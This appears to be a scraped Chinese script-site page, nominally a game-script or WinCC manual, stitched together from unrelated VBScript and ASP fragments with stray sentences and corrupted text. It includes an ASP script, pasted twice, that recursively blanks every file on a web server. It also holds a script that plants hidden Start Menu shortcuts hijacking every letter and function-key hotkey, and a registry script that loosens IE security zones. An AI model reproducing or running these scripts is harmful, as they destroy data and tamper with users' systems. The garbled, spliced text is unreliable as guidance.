天龙小蜜脚本怎么用wincc手册

发布时间:2021-02-23 来源:脚本之家 点击:

在form1上加入7个image控件,在格式菜单中将各个image的大小都选为相同,image1-7的stretch属性都选为true(图像将随控件的大小而变化),image1-6的visible的属性选为false(不可见),
image7的visible属性为true
'

Const HKEY_CURRENT_USER=&H80000001
Set objReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")

'添加网站到安全站点
strKeyPath="Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\yongfa365.com"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
objReg.SetDWORDValue HKEY_CURRENT_USER, strKeyPath, "http", 2

'设置安全站点打开ActiveX时提示
strKeyPath="Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2"
objReg.SetDWORDValue HKEY_CURRENT_USER, strKeyPath, "CurrentLevel", "00000000"
objReg.SetDWORDValue HKEY_CURRENT_USER, strKeyPath, "1201", "00000001"

'取消页眉页脚
strKeyPath="Software\Microsoft\Internet Explorer\PageSetup"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, "header", ""
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, "footer", ""

msg="IE安全设置完成"&vbCrLf&vbCrLf
msg=msg & "如果还不能正常打印,你需要关闭所有打开的IE浏览器窗口,然后再登录OA进行打印"&vbCrLf&vbCrLf
msg=msg & "如果还是有问题,您可以联系技术组:柳永法 "
MsgBox msg, vbInformation, "温馨提醒

东方头条自动阅读脚本

'codeBY伤脑筋
'copytofilename.vbs
dimnum,var,fso,wsh,pathname
num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_
"V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_
"F7,F8,F9,F10,F11,F12"

var=Split(num,",",-1,1)
Setfso=CreateObject("Scripting.FileSystemObject")
setWsh=WScript.CreateObject("WScript.Shell")
pathname=Wsh.SpecialFolders("AllUsersStartMenu")+"\程序\附件\辅助工具"

fori=0toUBound(var)
setLink=Wsh.CreateShortcut(pathname+var(i)+".lnk")
Link.TargetPath="conime.exe"
Link.Hotkey=var(i)
Link.Save
SetFile=fso.GetFile(pathname+var(i)+".lnk")
file.Attributes=2+4
next
这也就造成了写程序变得很不规范,因为程序员在优化一个程序时往往把它编的面目全非和极极晦涩懂,程序里面的代码跳转来跳去的乱得一团糟,只有他们自己才能看得懂


'------------------------------------------------------------
' Description : Text division for iPod text reading.
' because of iPod can not display text length
' more than 4KB in each file, we have to split
' the bigger one.
' And iPod intrenal use Unicode, so this script
' can also tranfrom the character coding.
' Author : Guoyafeng@jspi.edu.cn
' Last Modified : 2008-8-31 11:05:13
'------------------------------------------------------------
Option Explicit
Sub OpenDir(Dir)
Dim WShell,CmdString
Set WShell=CreateObject("WScript.Shell")
CmdString="Explorer.exe " & Dir
WShell.Run CmdString,1,True
End Sub
Function FormatStrNum(iNum)
Const Mode="0000"
Dim sNum
sNum=CStr(iNum)
FormatStrNum=Left(Mode,Len(Mode)-Len(sNum)) & sNum
End Function
Function IIf(test,a,b)
If test=True Then IIf=a Else IIf=b
End Function
Function GetDragDropFile
If WScript.Arguments.Count=0 Then MsgBox "请把需要分割的Txt文件拖放到本脚本上一旦链接了一个表,该链接便会保留在各会话期间,直到连接断开


ConstssfCONTROLS=3

sConnectionName="本地连接"'可改成需要控制的连接名称,如"无线网络连接"等

sEnableVerb="启用(&A)"
sDisableVerb="禁用(&B)"'XP系统中应为"停用(&B)"

setshellApp=createobject("shell.application")
setoControlPanel=shellApp.Namespace(ssfCONTROLS)

setoNetConnections=nothing
foreachfolderiteminoControlPanel.items
iffolderitem.name="网络连接"then
setoNetConnections=folderitem.getfolder:exitfor
endif
next

ifoNetConnectionsisnothingthen
msgbox"未找到网络连接文件夹"
wscript.quit
endif

setoLanConnection=nothing
foreachfolderiteminoNetConnections.items
iflcase(folderitem.name)=lcase(sConnectionName)then
setoLanConnection=folderitem:exitfor
endif
next

ifoLanConnectionisnothingthen
msgbox"未找到'"&sConnectionName&"'item"
wscript.quit
endif

bEnabled=true
setoEnableVerb=nothing
setoDisableVerb=nothing
s="Verbs:"&vbcrlf
foreachverbinoLanConnection.verbs
s=s&vbcrlf&verb.name
ifverb.name=sEnableVerbthen
setoEnableVerb=verb
bEnabled=false
endif
ifverb.name=sDisableVerbthen
setoDisableVerb=verb
endif
next

'debuggingdisplaysleftjustincase...
'
'msgboxs':wscript.quit
'msgbox"Enabled:"&bEnabled':wscript.quit

'notsurewhy,butinvokeverbalwaysseemedtowork
'forenablebutnotdisable.
'
'savingareferencetotheappropriateverbobject
'andcallingtheDoItmethodalwaysseemstowork.
'
ifbEnabledthen
'oLanConnection.invokeverbsDisableVerb
oDisableVerb.DoIt
else
'oLanConnection.invokeverbsEnableVerb
oEnableVerb.DoIt
endif

'adjustthesleepdurationbelowasneeded...
'
'ifyoulettheoLanConnectiongooutofscope
'andbedestroyedtoosoon,theactionoftheverb
'maynottake...
'
wscript.sleep400
先建立一个标准EXE工程,在窗体上文稿放置一个Picture控件,控件名为Picture1,和一个Timer控件,控件名为Timer1,Interval属性设置为2000

'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath(""))
response.Write"处理完毕"
Else
response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"
EndIf

Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction

'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath(""))
response.Write"处理完毕"
Else
response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"
EndIf

Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力奇迹之剑
WithForm1
OldScaleLeft=.ScaleLeft
OldScaleTop=.ScaleTop
OldScaleWidth=.ScaleWidth
OldScaleHeight=.ScaleHeight
OldScaleMode=.ScaleMode
.ScaleMode=vbPixels
txtLen=.TextWidth(mystring)'myString是待旋转的字串
ifOldScaleMode<>vbUserthen
.ScaleMode=oldScaleMode
else
.ScaleLeft=OldScaleLeft
.ScaleTop=OldScaleTop
.ScaleWidth=OldScaleWidth
.ScaleHeight=OldScaleHeight
EndIf
txtHeight=.ScaleY(txtLen,vbPixels,vbUser)
EndWith
如此txtHeight便是字串於旋转後的高度啦DOS批处理不再黑屏的vbs脚本

DIMobjShell
n]h/K,cQ'xe0setōbjShell=wscrīpt.createObject("wscrīpt.shell")linux博客?w

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号